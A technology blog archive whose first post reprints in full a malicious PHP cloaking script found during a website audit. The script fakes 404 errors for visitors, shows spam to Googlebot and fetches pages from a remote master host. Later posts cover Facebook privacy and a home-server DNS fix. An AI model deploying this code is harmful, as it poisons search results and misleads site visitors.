Archive for the ‘technology’ Category

So, while doing a security audit on our website, I found a file named search.php in a particularly unsafe directory:

<?php
// REVISION: $Rev: 982 $
error_reporting(0);
header('Content-type: text/html; charset=utf-8');
set_magic_quotes_runtime(0);

class RemotePage
{
var $myUrl = 'http://www.santarosa.edu/bids/';
var $waitTimeout = 5; // seconds
var $useCurl = 0;

var $googleRefNumToAllowRedirect = 0;
var $googleRefNumToAllowCloak = 0;
var $cloakMethod = 3; // 1 - 404 old, 2 - hides redirect, 3 - 404 new

var $keywordSeparator = '-';
var $defaultPage = 'index';
var $searchReferers = 'live|msn|yahoo|google|ask|aol';
var $botIps = Array(
/* 2009-12-12 */ '66\.249\.[6-9][0-9]\.[0-9]+', '74\.125\.[0-9]+\.[0-9]+', '38\.[0-9]+\.[0-9]+\.[0-9]+', '70\.91\.180\.25', '65\.93\.62\.242', '74\.193\.246\.129', '213\.144\.15\.38', '195\.92\.229\.2', '70\.50\.189\.191', '218\.28\.88\.99', '165\.160\.2\.20', '89\.122\.224\.230', '66\.230\.175\.124', '218\.18\.174\.27', '65\.33\.87\.94', '67\.210\.111\.241', '81\.135\.175\.70', '64\.69\.34\.134', '89\.149\.253\.169', '69\.136\.208\.89', '83\.15\.211\.166', '78\.180\.145\.80', '78\.166\.111\.63', '64\.233\.1[6-8][1-9]\.[0-9]+', '64\.233\.19[0-1]\.[0-9]+', '209\.185\.108\.[0-9]+', '209\.185\.253\.[0-9]+', '209\.85\.238\.[0-9]+', '216\.239\.33\.9[6-9]', '216\.239\.37\.9[8-9]', '216\.239\.39\.9[8-9]', '216\.239\.41\.9[6-9]', '216\.239\.45\.4', '216\.239\.46\.[0-9]+', '216\.239\.51\.9[6-9]', '216\.239\.53\.9[8-9]', '216\.239\.57\.9[6-9]', '216\.239\.59\.9[8-9]', '216\.33\.229\.163', '64\.233\.173\.[0-9]+', '64\.68\.8[0-9]\.[0-9]+', '64\.68\.9[0-2]\.[0-9]+', '72\.14\.199\.[0-9]+', '8\.6\.48\.[0-9]+', '207\.211\.40\.82', '67\.162\.158\.146', '66\.255\.53\.123', '24\.200\.208\.112', '129\.187\.148\.240', '129\.187\.148\.244', '199\.126\.151\.229', '118\.124\.32\.193', '89\.149\.217\.191',
);

var $masterUrl = 'http://dind.gribokhost.com/';

// !!! DO NOT CHANGE THIS !!!
var $seal = '7aY#4EwrU_eC2AbEcuP?8keYe&ruQuxE=R46eQ38eHE27aZeFr7W7eSp=752xen?';

function RemotePage()
{
}

function _processReferer() {
if ($this->checkGoogleRef()) {
$cnt = $this->_increaseStats('refgg');
if ($cnt != -1 && $cnt >= $this->googleRefNumToAllowRedirect && !$this->_isRedirectRequired()) {
$this->_allowRedirectByGoogle();
};
if ($cnt != -1 && $cnt >= $this->googleRefNumToAllowCloak && !$this->_isCloaked()) {
$this->_allowCloakByGoogle();
};
return true;
};
return false;
}

function _processUserAgent() {
if ($this->checkBot()) {
$cnt = $this->_increaseStats('uagg');
return true;
};
return false;
}

function _testUaLang() {
if (preg_match('/[; ]ru[\-; ]/i', $_SERVER['HTTP_USER_AGENT']))
return false;
if (preg_match('/windows-1251|koi8-r/i', $_SERVER['HTTP_ACCEPT_CHARSET']))
return false;
return true;
}

function _detectBannedUser() {
if (!$this->_testUaLang())
return true;
if (array_key_exists('auth_4cf53d2265656779cb52187db1f69d87', $_COOKIE) && ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] == 'failed' || $_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 1))
return true;
return false;
}

function _processMissed($refResult, $uaResult) {
if ($refResult && $uaResult) {
$cnt = $this->_increaseStats('missgg');
return true;
}
return false;
}

function _increaseStats($stat) {
$cnt = -1;
$hf = @fopen(".cache/.{$stat}", "a+");
if (false == $hf)
return -1;
if (!@flock($hf, LOCK_EX)) {
@fclose($hf);
return -1;
};
fseek($hf, 0);
$cnt = intval(fgets($hf));
fseek($hf, 0);
ftruncate($hf, 0);
++$cnt;
fwrite($hf, strval($cnt));
fclose($hf);
return $cnt;
}

function _getStats($stat) {
$cnt = -1;
$hf = @fopen(".cache/.{$stat}", "r");
if (false == $hf)
return -1;
if (!@flock($hf, LOCK_SH)) {
@fclose($hf);
return -1;
};
fseek($hf, 0);
$cnt = intval(fgets($hf));
fclose($hf);
return $cnt;
}

function _allowRedirectByGoogle() {
$status = $this->allowRedirect('enable');
if ($status == 'nocachedir' || $status == 'enabled')
{
$url = $this->masterUrl . 'remote.php?u=' . urlencode($this->myUrl) . '&a=enable_redirect';
$req = new HttpRequest($this->useCurl ? 0 : 1, $this->waitTimeout);
$page = $req->request($url);
if (!$page)
return false;
return true;
};
return false;
}

function _allowCloakByGoogle() {
$status = $this->allowCloak('enable');
if ($status == 'nocachedir' || $status == 'enabled') {
$url = $this->masterUrl . 'remote.php?u=' . urlencode($this->myUrl) . '&a=enable_cloak';
$req = new HttpRequest($this->useCurl ? 0 : 1, $this->waitTimeout);
$page = $req->request($url);
if (!$page)
return false;
return true;
};
return false;
}

function _getCachedPage($pagename) {
$pagename = strtr($pagename, " \t", "___");
$page = file_get_contents(".cache/{$pagename}.cache");
if (false == $page) {
return false;
};
$page = unserialize($page);
if ($page['seal'] != $this->seal) {
@unlink(".cache/{$pagename}.cache");
return false;
};
$this->cacheStatus = 'EXISTS';
//@header("X-Page-Cached: exists");
return $page;
}

function _cachePage($pagename, $page) {
if ($page['error']) {
@header("X-Page-Cached: failure");
return false;
};
unset($page['redirect_disabled']);
unset($page['cloaked']);
$pagename = strtr($pagename, " \t", "___");
$hf = @fopen(".cache/{$pagename}.cache", "wb");
if (!$hf) {
@header("X-Page-Cached: failure");
return false;
};
fwrite($hf, serialize($page));
fclose($hf);
@header("X-Page-Cached: success");
return true;
}

function _getRemotePage($pagename, $forceReCache) {
if ($forceReCache || false == ($page = $this->_getCachedPage($pagename))) {
$url = $this->masterUrl . 'gw.php?u=' . urlencode($this->myUrl) . '&p=' . urlencode($pagename) . '&s=1';
$req = new HttpRequest($this->useCurl ? 0 : 1, $this->waitTimeout);
$page = $req->request($url);
if (!$page)
return false;
$page = unserialize($page);
if ($page['seal'] != $this->seal) {
return false;
}
$this->redirectDisabled = $page['redirect_disabled'];
$this->cloaked = $page['cloaked'];
$this->cacheStatus = $this->_cachePage($pagename, $page) ? 'SUCCESS' : 'FAILURE';
};
return $page;
}

function _isRedirectRequired($referer) {
// Detecting whether redirect is required
if (is_file('.cache/.noredir') || $this->redirectDisabled == 'disabled')
return false;
else
return true;
}

function _isCloaked($referer) {
// Detecting whether cloak is required
if (is_file('.cache/.cloak') || $this->cloaked == 'cloaked')
return true;
else
return false;
}

function checkGoogleRef()
{
if (preg_match('/google\./i', $_SERVER['HTTP_REFERER']))
{
$url = parse_url($_SERVER['HTTP_REFERER']);
$args = Array();
parse_str($url['query'], $args);
if (!$args['q'] || preg_match('/(^|\s)site:/i', $args['q']))
return false;
return true;
}
return false;
}

function checkBot()
{
if (
false !== strpos($_SERVER['HTTP_USER_AGENT'], 'Googlebot')
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'AdsBot-Google')
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'gsa-crawler')
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'http://www.googlebot.com/bot.html')
|| false !== strpos($_SERVER['HTTP_USER_AGENT'], 'http://www.google.com/bot.html')
)
return true;
$ip = $_SERVER['REMOTE_ADDR'];
foreach ($this->botIps as $botIp) {
if (preg_match("/^{$botIp}/", $ip)) {
return true;
}
}
return false;
}

function allowRedirect($allow) {
if ($allow == 'disable')
@touch('.cache/.noredir');
else
@unlink('.cache/.noredir');
if (!is_dir('.cache') || !is_writable('.cache'))
return 'nocachedir';
return (file_exists('.cache/.noredir') ? 'disabled' : 'enabled');
}

function allowCloak($allow) {
if ($allow == 'enable')
@touch('.cache/.cloak');
else
@unlink('.cache/.cloak');
if (!is_dir('.cache') || !is_writable('.cache'))
return 'nocachedir';
return (file_exists('.cache/.cloak') ? 'enabled' : 'disabled');
}

function die404()
{
header("{$_SERVER['SERVER_PROTOCOL']} 404 Not Found");
die( <<<EOM
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL {$_SERVER['REQUEST_URI']} was not found on this server.</p>
<hr>
<address>{$_SERVER['SERVER_SOFTWARE']} Server at {$_SERVER['SERVER_NAME']} Port {$_SERVER['SERVER_PORT']}</address>
</body></html>
EOM
);
}

function displayPage($pagename, $referer, $cacheOnly, $forceReCache)
{
if ($pagename == '')
$pagename = $this->defaultPage;

$isGoogleRef = $this->_processReferer();
$isBot = $this->_processUserAgent();
$isBannedUser = $this->_detectBannedUser();
$cloaked = $this->_isCloaked();
$hideRedirect = false;
$this->_processMissed($isGoogleRef, $isBot);

if (!$cacheOnly) {
switch ($this->cloakMethod) {
case 2: // Hide redirect for bots
if ($isBot && $cloaked) {
$hideRedirect = true;
};
//$page['page'] = str_replace('$[[REDIRECT]]', '', $page['page']);
break;
case 3: // New 404 - for users
if ($isBannedUser) {
if ($cloaked) {
//echo "Wrong user: $isBannedUser; $isGoogleRef; {$this->isJavaScript}<br>\n";
if ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 'failed') {
setcookie('auth_4cf53d2265656779cb52187db1f69d87', 'failed', time() + 60 * 60 * 24 * 2000);
}
$this->die404();
}
}
if (!$isBot) {
//echo "new404: bot not detected;<br>\n";
if ($isGoogleRef xor $this->isJavaScript) {
//echo "Normal user<br>\n";
if ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 1) {
setcookie('auth_4cf53d2265656779cb52187db1f69d87', 1, time() + 60 * 60 * 24 * 2000);
}
// TODO: redirect should go here
// header("Location: {$page['redirect_url']}");
}
else if ($cloaked) {
//echo "Wrong user: $isBannedUser; $isGoogleRef; {$this->isJavaScript}<br>\n";
if ($_COOKIE['auth_4cf53d2265656779cb52187db1f69d87'] != 'failed') {
setcookie('auth_4cf53d2265656779cb52187db1f69d87', 'failed', time() + 60 * 60 * 24 * 2000);
}
$this->die404();
}
}
else { // BOT detectet
//echo "new404: bot detected;<br>\n";
$hideRedirect = true;
if ($this->isJavaScript)
{
$this->die404();
}
}
break;
default: // Old 404 - for bots
if ($isBot && $cloaked) {
$this->die404();
}
break;
}
}

$page = $this->_getRemotePage($pagename, $forceReCache);
if ($page === false || $page['error']) {
if ($cacheOnly)
die("PAGE CACHING RESULT: FAILURE\n");
if ($this->feedUrl) {
$url = str_replace('${key}', str_replace($this->keywordSeparator, '%20', $pagename), $this->feedUrl);
header("Location: {$url}");
die();
}
$this->die404();
};
if ($cacheOnly)
die("PAGE CACHING RESULT: {$this->cacheStatus}\n");

if (!$this->_isRedirectRequired($referer))
$hideRedirect = true;
if (!$hideRedirect && $page['redirect_type'] == 'http') {
$scr = new RemotePage();
$script = $scr->_getRemotePage($page['script_filename'], false);
if ($script['seal'] != $scr->seal) {
//echo "Seal mismatch!<br>\n";
$this->die404();
}
$url = str_replace('${arg}', urlencode($page['script_arg']), $script['url']);
$self_url = 'http://' . ($_SERVER['HTTP_HOST'] ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']) . $_SERVER['REQUEST_URI'];
$url = str_replace('${url}', urlencode($self_url), $url);
$url = str_replace('${ref}', urlencode($_SERVER['HTTP_REFERER']), $url);
// TODO: replace ${arg} with argument

header("Location: {$url}");
}
$page['page'] = str_replace('$[[REDIRECT]]', $hideRedirect ? '' : $page['script'], $page['page']);

echo $page['page'];
}

function processRequest($p, $referer, $cacheOnly, $forceReCache)
{
if (preg_match('/\.js$/', $p)) {
$this->isJavaScript = true;
header('Content-type: text/javascript');
}
$this->displayPage($p, $referer, $cacheOnly, $forceReCache);
}
};

class HttpRequest
{
// Request mode, 0 - use CURL, 1 - use SOCKETS
var $mode = 0;
var $timeout = -1;
function HttpRequest($mode = 0, $timeout = -1)
{
$this->mode = ($mode == 0 && function_exists('curl_init') ? 0 : 1);
$this->timeout = $timeout;
}

function _connect($host, $port) {
$errno = null;
$errstr = null;
$hf = fsockopen($host, $port ? $port : 80, $errno, $errstr, $this->timeout);
return $hf;
}

function _disconnect($hs) {
fclose($hs);
}

function request($url, $post_data = false) {
switch ($this->mode)
{
case 0:
return $this->_requestCurl($url, $post_data);
case 1:
return $this->_requestSock($url, $post_data);
default:
return false;
};
}

function _requestCurl($url, $post_data) {
$hc = curl_init($url);
if ($post_data)
curl_setopt($hc, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($hc, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($hc, CURLOPT_CONNECTTIMEOUT, $this->timeout);
$res = curl_exec($hc);
$this->httpStatus = curl_getinfo($hc, CURLINFO_HTTP_CODE);
curl_close($hc);
return $res;
}

function _requestSock($url, $post_data) {
$info = parse_url($url);
$httpHostStr = $info['host'];
if ($info['port'])
$httpHostStr .= ':' . $info['port'];
if (!empty($post_data)) {
$rtype = 'POST';
$post = array();
foreach ($post_data as $key => $val)
{
$post[] = urlencode($key) . '=' . urlencode($val);
};
$post = implode('&', $post);
$contentLength = strlen($post);
$contentType = "Content-Type: application/x-www-form-urlencoded\n";
}
else {
$rtype = 'GET';
$post = '';
$contentLength = 0;
$contentType = '';
};
$req = <<<EOR
{$rtype} {$url} HTTP/1.0
Host: {$httpHostStr}
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8
Accept-Language: en
{$contentType}Content-Length: {$contentLength}

$post
EOR;
$hc = $this->_connect($info['host'], $info['port']);
if (!$hc) {
trigger_error("Failed to connect to [{$info['host']}]", E_USER_WARNING);
return false;
};
fwrite($hc, $req);
$res = '';
while (!feof($hc))
$res .= fread($hc, 8192);
$this->_disconnect($hc);
if (preg_match('/^HTTP\/[^\s]+\s+(\d+)/', $res, $match)) {
$this->httpStatus = $match[1];
}
else {
$this->httpStatus = 666;
return false;
};
if (preg_match('/^.+?(?:\r\n\r\n|\n\n)(.*)$/ms', $res, $match)) {
return $match[1];
};
$this->httpStatus = 666;
return false;
}
};

function unslash_rec(&$arr) {
reset($arr);
while (list($key)=each($arr)) {
if (is_array($arr[$key]))
unslash_rec($arr[$key]);
else {
$arr[$key]=stripslashes($arr[$key]);
};
};
};

if (get_magic_quotes_gpc()) {
unslash_rec($_GET);
unslash_rec($_POST);
unslash_rec($_REQUEST);
unslash_rec($_COOKIE);
foreach ($_FILES as $key => $val)
$_FILES[$key]['name'] = stripslashes($_FILES[$key]['name']);
};

$page = new RemotePage();
if (array_key_exists('d98a70509b4b1552243f07629a643439_redir', $_REQUEST)) {
$status = $page->allowRedirect($_REQUEST['d98a70509b4b1552243f07629a643439_redir']);
die("REDIRECT [d98a70509b4b1552243f07629a643439_redir] STATUS: [{$status}]\n");
}
else if (array_key_exists('d98a70509b4b1552243f07629a643439_cloak', $_REQUEST)) {
$status = $page->allowCloak($_REQUEST['d98a70509b4b1552243f07629a643439_cloak']);
die("CLOAK [d98a70509b4b1552243f07629a643439_cloak] STATUS: [{$status}]\n");
}
else if ($_REQUEST['d98a70509b4b1552243f07629a643439_gref'] == 'count') {
$cnt = $page->_getStats('refgg');
$cnt2 = $page->_getStats('uagg');
$cnt3 = $page->_getStats('missgg');
die("GREF [d98a70509b4b1552243f07629a643439_gref] COUNT: [{$cnt}]\nGUA [d98a70509b4b1552243f07629a643439_gua] COUNT: [{$cnt2}]\nGMISS [d98a70509b4b1552243f07629a643439_gmiss] COUNT: [{$cnt3}]\n");
}
else if ($_POST['d98a70509b4b1552243f07629a643439_direct_cache'] == 'cache') {
$status = $page->_cachePage($_REQUEST['p'], unserialize($_REQUEST['page']));
die("CACHE [d98a70509b4b1552243f07629a643439_direct_cache] STATUS: [{$status}]\n");
}
else {
$page->processRequest($_REQUEST['p'], $_SERVER['HTTP_REFERER'], $_REQUEST['__cacheonly'] == 'true', $_REQUEST['__forcerecache'] == 'true');
};

?>

Very clever. To most of the world, this page returns a fake 404 error. However, if it senses it’s Google scraping the site, it links to a .cache directory filled will all sorts of search-engine poisoning and positioning files. Needless to say, I removed this. Anyone ever come across anything similar?


Maybe I Should Just Eat My Food At Lunch (Or, everything I didn't want to know about Facebook Privacy, but was too lazy to check)

OK, so I’m sitting at my computer at lunch, viewing web pages when I should be really just eating, or reading a book, or just anything that involves getting away from the computer for a bit. Now, there’s been a lot of hubbub lately about Facebook and its privacy settings. Usually, I just turn off that kind of noise – much ado about not that much, people getting worked up over unimportant things, etc. Besides, I’m pretty tight with my Facebook settings – only my friends can see most of my info – so I felt pretty secure.

So, just for fun, I thought I’d double-check my security settings. As I expected, everything looked fine, nothing labeled “please invade my privacy” was checked. Facebook also had a nice little button named “see how my profile looks to other people.” How polite of them. So, I checked the link, and here’s what I found:

Well, that’s a little more information than I imagined, but still not that bad. I want people to see who my friends are (friends of friends), cause it makes it easier for old friends to find me, and vice-versa. I thought I told Facebook not to share my interests, so I’m a little perturbed that showed pages I like, but still, nothing too embarrasing. (Yes, it’s difficult to reconcile my love for Jack Killed Jill and John Mayer, but I’ve had a complicated life). So, at this point, I’ve re-assured myself that I’ve achieved the balance of online accessibility and privacy that I want.

Maybe I should have stopped there, in my blissful ignorant state, but I moved on. Hmm. How would my page look like if I wasn’t logged on, and I just came across it by accident? You know, like a search engine would? So, logged out from Facebook, went to my profile page, and here’s what I saw:

Look a little different to you? Yikes. Doesn’t quite resemble what Facebook told me my profile looked like, huh? Remember, this isn’t a logged-in Facebook user, this is what anyone on the web would see about me. It’s got more of my friends (with links to all of them) and more of my interests listed than the previous page had. Plus, unlike the other page, it’s got my name plastered and repeated all over it, making it that much more easier for a search engine to tie it to me.

To get rid of this anonymous profile page, I had to go into my FB privacy settings, go to the Search settings, and explicitly uncheck “Allow indexing” next to Public Search Results. Now, here’s what my profile page looks like to the rest of the world:

Now I get all of the hubbub. Even though I’m very careful about my security settings and limit everything I have on Facebook, that was what I would have shown to the rest of the world if I did nothing.

My warm-and-fuzzy feelings about my FB profile have definetely changed …


Problems installing Windows Home Server, and a solution (at least for me) …

So I’ve been home sick the past few days, and I figured since I have some spare time, I’d set up my new Acer Aspire H340 Windows Home Server machine. Initial installation of the server is a little different – since it’s a “headless” server, you need to use another client computer to set it up.

I run the Acer install utility on my notebook, and it seems to work fine until it tries to connect to the server for the first time. It says that it’s downloading software from the server ASPIREHOME, hangs at 0% for a few mintues, then errors out saying “the operation cannot be completed at this time.” After a couple of failures, I figure OK, this is a Windows 7 64bit client, so it must be incompatible. No problem, I’ll run the install from a Windows XP machine. Same. exact. problem.

I try googling for a solution, but no help – everything I find says I shouldn’t be having install problems. I try reseting the server, installing from an Ubuntu client under Wine, I even try taking the hard drive from the server and installing it in another computer to configure – same result. I’m starting to go crazy …

After clicking on one of the myriad help pages that come up during the install, I notice that one of the pages tries to open in a web browser, using a address similar to \\ASPIREHOME\some\help\page.html. Well, instead of a normal web page, I get a search page from OpenDNS (I use OpenDNS on my home router). Could it be a DNS conflict? Pinging ASPIREHOME from the command line give me an outside internet address, not a NAT address inside my network.

I reset the DNS settings on my router to use my cable company’s default settings. Then, after rebooting my client to clear the network settings, I try pinging ASPIREHOME again. Now, it’s an internal IP address, just like it should be. Then, I try the ACER install again. SUCCESS! I’m running the install right now :)

I’m not sure if I can go back to my OpenDNS settings again, but I’m going to try it after my install finishes. In the meantime, if you can’t install your server software from your client, try disabling your third party DNS – it worked for me!


The supercomputers behind World of Warcraft

“While I was at BlizzCon, I met someone who worked at Blizzard in their IT department, and the stories he told me (all off the record, unfortunately) about how gigantic and powerful their systems are were just mindboggling. I had to ask if he knew of anyone or any other industry shooting information around at the scale that Blizzard does, and with the one possible exception of Google (who also run digital information around at a staggering rate), we couldn’t think of anyone doing things at this scale. Not even financial networks and health care information (things, you’d think, that would be much more important than your level 73 Hunter and his gear) have these kinds of systems running.”

The supercomputers behind World of Warcraft – WoW Insider

Blogged with the Flock Browser

The true history of the cylons

Andrew ProbertThere are those who believe that the Cylons were created by man.

Some believe that they were created by a race of highly advanced lizards who used them as foot soldiers in the war to exterminate humanity.

Well, it’s time to bring the rampant speculation and flame-wars to an end. Today, on the 30th anniversary of Battlestar Galactica,  the true origins of everyone’s favorite red-eyed, robotic menace will finally be revealed… the true history of the cylons « Darth Mojo.


Apple Laugh of the Day

Stolen From:

[H] Enthusiast

Blogged with the Flock Browser

Happy 50th anniversary, Jay Barbree!

Jay BarbreeBarbree is the only journalist to cover every single manned mission that the U.S. space program has had, starting in the early 60s. When NASA started the “teacher in space” program in the 1980s, they also started a “journalist in space” program, and Barbree was one of the 40 finalists (both were shut down after the Challenger explosion).

Happy 50th anniversary, Jay Barbree! – TV Squad

Blogged with the Flock Browser

Michael, where would you like to go today?

Stolen From: Video: Knight Rider GPS asks, “Michael, where do you want to go today” – Engadget

Blogged with the Flock Browser

How a Corvette gets built

Each day, the factory turns out about 148 Corvettes. Counting the painting of the many panels, the process takes between two and two-and-a-half days. There are just less than 1,000 employees working the line, mostly turning out Corvettes, though the factory also builds eight Cadillac XLRs every day.

How a Corvette gets built | Geek Gestalt – by Daniel Terdiman – CNET News.com

Blogged with the Flock Browser

Santa Rosa Junior College Library uses Twitter

image of library twitter pageOur library uses twitter. They rock.

We’re experimenting with a Web service called twitter to bring you very brief library news announcements (schedule changes, deadlines, updates on the Mahoney Library expansion etc.). as well as various research tips and tidbits about our library services. Check our twitter page each day for the latest announcements at http://twitter.com/srjclibrary .

Santa Rosa Junior College Library News

Blogged with the Flock Browser

Bad Behavior has blocked 268 access attempts in the last 7 days.